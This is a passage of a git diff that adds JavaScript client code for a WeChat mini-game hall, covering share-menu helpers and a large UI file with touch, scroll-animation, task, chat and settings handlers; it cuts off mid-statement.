//console.log('??????'); + //console.log(res); + //sharegameinfo(2); + //} + //} + //}) + wx.onShareAppMessage(function(data){ + return { + title: sharetitle, + imageUrl: shareimageurl, + query: '', + success: function (res) { + console.log(res); + console.log('??????'); + sharegameinfo(1); + }, + fail: function (res) { + console.log('??????'); + console.log(res); + sharegameinfo(2); + } + } + }) + + } + /** + * ????????? + */ + function hidegameshareinfo(sharetitle, shareimageurl) { + wx.hideShareMenu(); + + } + /** + * ?????? + */ + function Pullupgameshare(sharetitle, shareimageurl) { + wx.shareAppMessage({ + title: sharetitle, + imageUrl: shareimageurl, + query: "", + success: function (res) { + console.log(res); + console.log('??????'); + sharegameinfo(1); + + }, + fail: function (res) { + console.log('??????'); + console.log(res); + sharegameinfo(2); + } + }); + } + /** + * ??????? + */ + function createGameClubButtonimage(mleft, mtop, mwidth, mheight) { + var button = wx.createGameClubButton({ + type: 'image', + icon: 'green', + style: { + left: mleft, + top: mtop, + width: mwidth, + height: mheight + } + }) + } + // var button = wx.createGameClubButton({ + // type: 'text', + // icon: 'green', + // style: { + // left: 10, + // top: 76, + // width: 40, + // height: 40 + // } + // }) + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/11_GameUI.js b/games/games/Projects/clinet/gamehall/js/00_Surface/11_GameUI.js new file mode 100644 index 0000000..a6432ad --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/11_GameUI.js @@ -0,0 +1,9860 @@ +var GameUI = GameUI || {}; +GameUI.VoteList = []; +GameUI.ApplyPlayer = -1; +GameUI.onstate = []; //玩家状态位置为显示位置 +GameUI.isprepare = []; //玩家准备状态显示 +GameUI.Mem = {}; +//GameUI.Mem.headSize = [0,0]; +GameUI.Mem.snrOption = { + min: 1000, + max: 4000, + unit: 100, + slider: 0, + start_x: 0, + end_x: 0, + unit_px: 0, + count: 0, + number: 0, + roomcode_number: -1, + roomcode_string: "", + number_1: 26, + number_2: 19.6, + number_3: 28, + number_4: 18, + infinite: 0, + videoConfig: null, + tea: 0, + rebateType: 0, + sysRebate:0, + rebateLimit:0, + forbidSelect:0 +}; +GameUI.utlani_doend = function(id, sx, count, allend) { + //logmessage(id+"/"+sx+"/"+count+"/"+allend); + if (id >= 274 && id <= 278 && sx == 43 && allend == 1) { + set_self(id, 37, 0, 0, 0); + } + if (id >= 292 && id <= 306 && sx == 43 && allend == 1) { + set_self(id, 37, 0, 0, 0); + } + if (id >= 498 && id <= 507 && sx == 43 && allend == 1) { //关闭表情显示 + set_self(id, 37, 0, 0, 0); + set_self(id - 30, 37, 0, 0, 0); + } + if (id >= 552 && id <= 561 && sx == 43 && allend == 1) { //关闭文字聊天 + set_self(id, 37, 0, 0, 0); + set_self(id + 30, 37, 0, 0, 0); + } + if (id == 390 && sx == 18 && allend == 1) { //游戏公告 + GameData.isBoardcast = false; + GameUI.playBroadcast(); + } + //if(id == 11 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,12,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//加入房间 + //} + //if(id == 12 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,568,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//星星场 + //} + //if(id == 568 && sx == 43 && allend == 1){//创建房间 + //play_ani(1,483,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//比赛场 + //} + //if(id == 483 && sx == 43 && allend == 1){//创建房间 + //GameData.mainMenuAniTimer = setTimeout(function(){ + //play_ani(1,11,43,1,30,0,ConstVal.Animation.time1,0,0,0,1,0,0,0);//加入房间 + //},ConstVal.Animation.deltaTime); + //} + + +}; +GameUI.utlgamebegindraw = function(gameid, spid, times, timelong) { + +}; +GameUI.onloadurl = function(recid, rectype, url, error, count, len) { + GameData.LoadCount = count; + if (rectype == 0) { + ifast_loadsprite([1, 254, 3104, 3103]); + } + if (count == 0) { + + } + try { + if (ifast_checkimg(21) && !GameData.launchImgLoaded && GameData.configSuccess && GameData.hallConfig.launchImgUrl) { + //console.log(GameData.hallConfig); + + Func.up_imgurl(21, GameData.hallConfig.launchImgUrl); + GameData.launchImgLoaded = true; + } + } catch (e) { + + } + if (count == 100 && GameData.isLoad) { + //var ttext = get_self(3104,7,0,0)+" 跳过"; + //set_self(3104,7,ttext,0,0); + //set_self(3104,20,ttext.gblen()*12,0,0); + //GameUI.adaptPositionSpid(3104,3103); + //GameUI.adaptPositionSpid(3104,3103); + GameData.isLoad = false; + if (GameData.LaunchMode == ConstVal.Launch_mode.from_hall) { + set_self(465, 37, 1, 0, 0); + } + //if(ConstVal.netType == 0){ + if (GameData.Timesup && GameData.firstConnect_Succ && GameData.getJSONState) { + GameUI.JumpWxAuth(); + + } else { + set_self(254, 37, 0, 0, 0); + } + //}else{ + //if(GameData.Timesup && GameData.getJSONState){ + //GameUI.JumpWxAuth(); + + //}else{ + //set_self(254,37,0,0,0); + //} + //} + + } +} +GameUI.utlmousedown = function(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6) { + //点击代码 + for (var i = 0; i < ClickBtn.length; i++) { + if (spid == ClickBtn[i]) { + set_self(ClickBtn[i], 35, 200, 0, 0); + set_self(ClickBtn[i], 33, 105, 0, 0); + //Utl.playSound(Game_Config.soundList.Button); + } + } + if (spid >= 29 && spid <= 40) { + set_self(spid, 35, 200, 0, 0); + } + if (spid == 152) { + Func.prepareAudio(); + //getaudiourl("aaaaa",2); + } + switch (spid) { + case 52: + + break; + case ConstVal.Emotion.f_spid: + GameData.slidEmotion = false; + break; + case ConstVal.Com_History.f_spid: + GameData.slideHistory = false; + break; + case ConstVal.Task.f_spid: + GameData.slideTask = false; + break; + case ConstVal.worldRoom.f_sp_1: + GameData.worldRoomSysSlide = false; + break; + case ConstVal.worldRoom.f_sp_2: + GameData.worldRoomPlySlide = false; + break; + case ConstVal.snrRoomList.f_spid: + GameData.snrRoomListSlide = false; + break; + case ConstVal.rankList.f_spid: + GameData.rankListSlide = false; + break; + case 3102: + case 3105: + case 3106: + GameData.imgAdIsSlide = false; + break; + case ConstVal.vipRoomList1.f_spid: + GameData.vipRoomPageOne.slide = false; + break; + case ConstVal.vipRoomList2.f_spid: + GameData.vipRoomPageTwo.slide = false; + case ConstVal.blackList.f_spid: + GameData.blackList.slide = false; + break; + case ConstVal.vipRank.f_spid: + GameData.vipRank.slide = false; + break; + case ConstVal.whiteList.f_spid: + GameData.whiteList.slide = false; + break; + + } + +}; +GameUI.utlmousedown_nomove = function(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5) { + //点击代没移动代码 + + + +}; +GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2) { + //点击弹起代码 + //可以通过spid_down和spid_up 的比较 来判断是 点击还是 移动 + for (var i = 0; i < ClickBtn.length; i++) { + if (spid_down == ClickBtn[i]) { + set_self(ClickBtn[i], 35, 255, 0, 0); + set_self(ClickBtn[i], 33, 100, 0, 0); + } + } + for (var i = 0; i < ConstVal.soudsSpidList.length; i++) { + if (spid_down == ConstVal.soudsSpidList[i]) { + Utl.playSound(Game_Config.ClickButton.src_1); + } + } + if (spid_down >= 29 && spid_down <= 40) { + set_self(spid_down, 35, 255, 0, 0); + } + if (spid_down == 252) { + var pos = get_self(252, 19, 0, 0, 0); + var h = get_self(252, 21, 0, 0, 0); + if (pos > Game_Config.Protocol.y) { + var t = pos - Game_Config.Protocol.y; + play_ani(1, 252, 19, pos, Game_Config.Protocol.y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else if (pos < Game_Config.Protocol.y + Game_Config.Protocol.h - h) { + var t = Game_Config.Protocol.y + Game_Config.Protocol.h - pos - h; + play_ani(1, 252, 19, pos, Game_Config.Protocol.y + Game_Config.Protocol.h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + } + } + if (spid_down == 290) { + var pos = get_self(290, 19, 0, 0, 0); + var h = get_self(290, 21, 0, 0, 0); + if (pos > Game_Config.Help.y) { + var t = pos - Game_Config.Help.y; + play_ani(1, 290, 19, pos, Game_Config.Help.y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else if (pos < Game_Config.Help.y + Game_Config.Help.h - h) { + var t = Game_Config.Help.y + Game_Config.Help.h - pos - h; + play_ani(1, 290, 19, pos, Game_Config.Help.y + Game_Config.Help.h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + if (spid_down == 404) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.Notice.clip_y) { + var t = pos - ConstVal.Notice.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else if (pos < ConstVal.Notice.clip_y + ConstVal.Notice.clip_h - h) { + + if (ConstVal.Notice.clip_h < s_height) { + var t = ConstVal.Notice.clip_y + ConstVal.Notice.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.clip_y + ConstVal.Notice.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.clip_y + ConstVal.Notice.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else { + var t = ConstVal.Notice.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } + } + } + if (spid_down == 3102 || spid_down == 3105 || spid_down == 3106) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.Notice.img_clip_y) { + var t = pos - ConstVal.Notice.img_clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.img_clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.img_clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else if (pos < ConstVal.Notice.img_clip_y + ConstVal.Notice.img_clip_h - h) { + + if (ConstVal.Notice.img_clip_h < s_height) { + var t = ConstVal.Notice.img_clip_y + ConstVal.Notice.img_clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.img_clip_y + ConstVal.Notice.img_clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.img_clip_y + ConstVal.Notice.img_clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + } else { + var t = ConstVal.Notice.img_clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.Notice.img_clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + play_ani(1, 81, 19, pos, ConstVal.Notice.img_clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + } + } + } + if (spid_down == ConstVal.Emotion.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + if (pos > ConstVal.Emotion.clip_y) { + var t = pos - ConstVal.Emotion.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.Emotion.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (Math.ceil(ConstVal.Emotion.count / ConstVal.Emotion.col_num) <= 4) { + if (pos < ConstVal.Emotion.clip_y) { + var t = ConstVal.Emotion.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.Emotion.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + var dis = ConstVal.Emotion.clip_y + 4 * (ConstVal.Emotion.h + ConstVal.Emotion.dis_y) - Math.ceil(ConstVal.Emotion.count / ConstVal.Emotion.col_num) * (ConstVal.Emotion.h + ConstVal.Emotion.dis_y); + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.Com_History.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + if (pos > ConstVal.Com_History.clip_y) { + var t = pos - ConstVal.Com_History.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.Com_History.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (ConstVal.Com_History.page_count >= GameData.createHistoryLen) { + if (pos < ConstVal.Com_History.clip_y) { + var t = ConstVal.Com_History.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.Com_History.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + var dis = ConstVal.Com_History.clip_y + ConstVal.Com_History.page_count * (ConstVal.Com_History.head_h + ConstVal.Com_History.head_dis_y) - GameData.createHistoryLen * (ConstVal.Com_History.head_h + ConstVal.Com_History.head_dis_y); + //var dis = + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.Task.f_spid) { + + var pos = get_self(spid_down, 18, 0, 0, 0); + if (pos > ConstVal.Task.clip_x) { + var t = pos - ConstVal.Task.clip_x; + play_ani(1, spid_down, 18, pos, ConstVal.Task.clip_x, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (TaskInfo.length <= 4) { + if (pos < ConstVal.Task.clip_x) { + var t = ConstVal.Task.clip_x - pos; + play_ani(1, spid_down, 18, pos, ConstVal.Task.clip_x, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + var dis = ConstVal.Task.clip_x + (4 - TaskInfo.length) * (ConstVal.Task.bg_dis_x + ConstVal.Task.bg_w); + + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 18, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + + if (spid_down == ConstVal.worldRoom.f_sp_1) { + + var pos = get_self(spid_down, 19, 0, 0, 0); + var sh = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.worldRoom.clip_y_1) { + var t = pos - ConstVal.worldRoom.clip_y_1; + play_ani(1, spid_down, 19, pos, ConstVal.worldRoom.clip_y_1, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (sh < ConstVal.worldRoom.clip_h_1) { + //if(pos < ConstVal.worldRoom.clip_y_1){ + var t = ConstVal.worldRoom.clip_y_1 - pos; + play_ani(1, spid_down, 19, pos, ConstVal.worldRoom.clip_y_1, 0, t, 0, 0, 0, 1, 0, 0, 0); + + //} + } else { + //var Width = ConstVal.worldRoom.bg_sp_space_1+get_self(ConstVal.worldRoom.bg_sp_1,20,0,0,0); + //var dis = ConstVal.worldRoom.clip_x_1+(4-GameData.worldRoomSys.length)*Width; + var dis = ConstVal.worldRoom.clip_y_1 + ConstVal.worldRoom.clip_h_1 - sh; + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.worldRoom.f_sp_2) { + var bg_height = get_self(spid_down, 21, 0, 0); + var pos = get_self(spid_down, 19, 0, 0, 0); + if (pos > ConstVal.worldRoom.clip_y_2) { + var t = pos - ConstVal.worldRoom.clip_y_2; + play_ani(1, spid_down, 19, pos, ConstVal.worldRoom.clip_y_2, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (bg_height < ConstVal.worldRoom.clip_h_2) { + if (pos < ConstVal.worldRoom.clip_y_2) { + var t = ConstVal.worldRoom.clip_y_2 - pos; + play_ani(1, spid_down, 19, pos, ConstVal.worldRoom.clip_y_2, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + //var height = ConstVal.worldRoom.bg_sp_space_2+get_self(ConstVal.worldRoom.bg_sp_2,21,0,0,0); + //var dis = ConstVal.worldRoom.clip_x_2+(4-GameData.worldRoomPly.length)*Width; + var dis = ConstVal.worldRoom.clip_h_2 + ConstVal.worldRoom.clip_y_2 - bg_height; + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.snrRoomList.f_spid) { + + var pos = get_self(spid_down, 19, 0, 0, 0); + if (pos > ConstVal.snrRoomList.clip_y) { + var t = pos - ConstVal.snrRoomList.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.snrRoomList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (GameData.snrRoomList.roomlist.length <= 3) { + if (pos < ConstVal.snrRoomList.clip_y) { + var t = ConstVal.snrRoomList.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.snrRoomList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + var Width = ConstVal.snrRoomList.bg_space + get_self(ConstVal.snrRoomList.bg_spid, 21, 0, 0, 0); + var dis = ConstVal.snrRoomList.clip_y + (3 - GameData.snrRoomList.roomlist.length) * Width; + + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.rankList.f_spid) { + + var pos = get_self(spid_down, 19, 0, 0, 0); + if (pos > ConstVal.rankList.clip_y) { + var t = pos - ConstVal.rankList.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.rankList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + if (GameData.rankList.length <= 5) { + if (pos < ConstVal.rankList.clip_y) { + var t = ConstVal.rankList.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.rankList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } else { + var Width = ConstVal.rankList.space + get_self(ConstVal.rankList.bg_spid, 21, 0, 0, 0); + var dis = ConstVal.rankList.clip_y + (5 - GameData.rankList.length) * Width; + + if (pos < dis) { + var t = dis - pos; + play_ani(1, spid_down, 19, pos, dis, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + } + if (spid_down == ConstVal.sysNotice.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.sysNotice.clip_y) { + var t = pos - ConstVal.sysNotice.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.sysNotice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.sysNotice.clip_y + ConstVal.sysNotice.clip_h - h) { + + if (ConstVal.sysNotice.clip_h < s_height) { + var t = ConstVal.sysNotice.clip_y + ConstVal.sysNotice.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.sysNotice.clip_y + ConstVal.sysNotice.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.sysNotice.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.sysNotice.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == ConstVal.vipRoomList1.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.vipRoomList1.clip_y) { + var t = pos - ConstVal.vipRoomList1.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList1.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.vipRoomList1.clip_y + ConstVal.vipRoomList1.clip_h - h) { + + if (ConstVal.vipRoomList1.clip_h < s_height) { + var t = ConstVal.vipRoomList1.clip_y + ConstVal.vipRoomList1.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList1.clip_y + ConstVal.vipRoomList1.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.vipRoomList1.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList1.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == ConstVal.vipRoomList2.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.vipRoomList2.clip_y) { + var t = pos - ConstVal.vipRoomList2.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList2.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.vipRoomList2.clip_y + ConstVal.vipRoomList2.clip_h - h) { + + if (ConstVal.vipRoomList2.clip_h < s_height) { + var t = ConstVal.vipRoomList2.clip_y + ConstVal.vipRoomList2.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList2.clip_y + ConstVal.vipRoomList2.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.vipRoomList2.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.vipRoomList2.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == ConstVal.blackList.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.blackList.clip_y) { + var t = pos - ConstVal.blackList.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.blackList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.blackList.clip_y + ConstVal.blackList.clip_h - h) { + + if (ConstVal.blackList.clip_h < s_height) { + var t = ConstVal.blackList.clip_y + ConstVal.blackList.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.blackList.clip_y + ConstVal.blackList.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.blackList.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.blackList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == ConstVal.whiteList.f_spid) { + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > ConstVal.whiteList.clip_y) { + var t = pos - ConstVal.whiteList.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - h) { + + if (ConstVal.whiteList.clip_h < s_height) { + var t = ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.whiteList.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == ConstVal.vipRank.f_spid) { + var config = ConstVal.vipRank; + var pos = get_self(spid_down, 19, 0, 0, 0); + var h = get_self(spid_down, 21, 0, 0, 0); + var s_height = get_self(spid_down, 21, 0, 0, 0); + if (pos > config.clip_y) { + var t = pos - config.clip_y; + play_ani(1, spid_down, 19, pos, config.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < config.clip_y + config.clip_h - h) { + + if (config.clip_h < s_height) { + var t = config.clip_y + config.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, config.clip_y + config.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = config.clip_y - pos; + play_ani(1, spid_down, 19, pos, config.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } + if (spid_down == 597) { + GameUI.seniorOptionsSlideEnd(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2); + } + if (spid_down == spid_up) { + if(GameData.sysConfig.behaviorList){ + for(var k=0;k= ConstVal.Task.get_reward_btn_tag && up_id < ConstVal.Task.isreward_tag) { + //console.log(TaskInfo[up_id - ConstVal.Task.get_reward_btn_tag]); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.taskid = TaskInfo[up_id - ConstVal.Task.get_reward_btn_tag].taskid; + Net.Send_get_task_award(data); + } + if (up_id == ConstVal.Task.tofinish_btn_tag) { + this.CloseTask(); + this.OpenShare(); + } + } + + + break; + case 17: + //打开任务 + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + Net.Send_get_player_task(data); + break; + case 115: + //关闭任务 + case 112: + this.CloseTask(); + break; + case 18: + //关闭创建房间 + case 60: + Game_Modify.CloseCreateRoom(); + break; + case 27: + //关闭加入房间 + case 59: + this.CloseJoinRoom(); + break; + case 43: + this.ClickBgm(); + break; + //点击音效按钮 + case 44: + this.ClickSound(); + break; + case 7: + //打开设置 + { + + this.OpenSetting(0); + } + break; + case 42: + //关闭设置 + case 47: + { + this.CloseSetting(); + } + break; + case 177: + { + + Func.visitorLogin(); + + } + break; + + + case ConstVal.Emotion.f_spid: + //点击表情 + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + if (upx >= ConstVal.Emotion.clip_x && upx <= ConstVal.Emotion.clip_x + ConstVal.Emotion.clip_w && upy >= ConstVal.Emotion.clip_y && upy <= ConstVal.Emotion.clip_h + ConstVal.Emotion.clip_y) { + if (!GameData.slidEmotion) { + var up_id = ifast_check_add(spid_up, upx, upy); + if (up_id >= 1 && up_id <= ConstVal.Emotion.count) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + data.text = up_id; + if (GameData.chatInfo) { + data.info = GameData.chatInfo; + data.type = 2; + } + Net.Send_send_phiz(data); + } + } + } + case ConstVal.Com_History.f_spid: + //点击历史记录 + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + if (upx >= ConstVal.Com_History.clip_x && upx <= ConstVal.Com_History.clip_x + ConstVal.Com_History.clip_w && upy >= ConstVal.Com_History.clip_y && upy <= ConstVal.Com_History.clip_h + ConstVal.Com_History.clip_y) { + if (!GameData.slideHistory) { + var up_id = ifast_check_add(spid_up, upx, upy); + if (up_id >= ConstVal.Com_History.bubble_tag && up_id <= ConstVal.Com_History.content_tag) { + console.log(GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag]); + if (GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][1] == 1) { //文字 + + if (GameData.isService) { + var sp = ConstVal.Com_History.f_spid + "add" + up_id; + if (GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][4]) { + //GameData.chatLine =[0,10,50,10]; + GameData.chatLine = [get_self(sp, 18, 0, 0, 0), get_self(sp, 19, 0, 0, 0) - 10, get_self(sp, 20, 0, 0, 0), get_self(sp, 21, 0, 0, 0), sp, 1]; + GameData.chatInfo = GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][4]; + } else { + GameUI.OpenTips("此消息为本桌消息", ConstVal.Tips.time); + } + + } else { + set_self(204, 7, GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][2]); + } + } else { + if (!GameData.isService) { + var iid = ConstVal.Com_History.content_tag - ConstVal.Com_History.bubble_tag + up_id; + GameUI.play_voice(GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][2], 2, iid); + } else { + var sp = ConstVal.Com_History.f_spid + "add" + up_id; + if (GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][4]) { + GameData.chatLine = [get_self(sp, 18, 0, 0, 0), get_self(sp, 19, 0, 0, 0) - 10, get_self(sp, 20, 0, 0, 0), get_self(sp, 21, 0, 0, 0), sp, 2]; + GameData.chatInfo = GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][4]; + } else { + GameUI.OpenTips("此消息为本桌消息", ConstVal.Tips.time); + } + //console.log("GameUI.play_voice:"+GameData.communionHistory[up_id - ConstVal.Com_History.bubble_tag][2]+" 2 "+iid); + } + // var p_spid = ConstVal.Com_History.f_spid+"add"+iid; + + + } + } else { + GameData.chatInfo = null; + GameData.chatLine = null; + } + } + } + + break; + + case 14: + //打开分享 + { + this.OpenShare(); + } + break; + case 72: + //关闭分享 + { + this.CloseShare(); + } + break; + case 74: + //分享微信好友 + { + + Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title, Game_Config.Share.description); + + this.CloseShare(); + } + break; + case 75: + //分享微信朋友圈 + { + if (!GameData.hallConfig.shareType) { + + } else { + console.log(GameData.hallConfig.shareImgUrl); + Func.sharefinend(2, 3, GameData.hallConfig.shareImgUrl); + } + this.CloseShare(); + } + break; + case 125: + //做任务一按钮 + + this.CloseTask(); + this.OpenShare(); + break; + case 128: + //做任务二按钮 + + break; + case 10: + //打开充值提示 + case 286: + case 508: + case 509: + case 287: + case 3161: + case 3162: + case 496: + var type = 1; + if (spid_up == 508 || spid_up == 509 || spid_up == 3162 || spid_up == 496) { + type = 2; + } + if (!GameData.h5Version) { + Utl.playSound(Game_Config.ClickButton.src_1); + if (GameData.agentmode == 2 || GameData.agentmode == 3) { + //console.log(GameData.AgentId+"、"+GameData.ChannelId+"、"+GameData.marketID+"、"+C_Player.playerid);agentid、channelid、marketid、playerid + if (GameData.versionState == 0) { + if (!GameData.h5Version) { + if 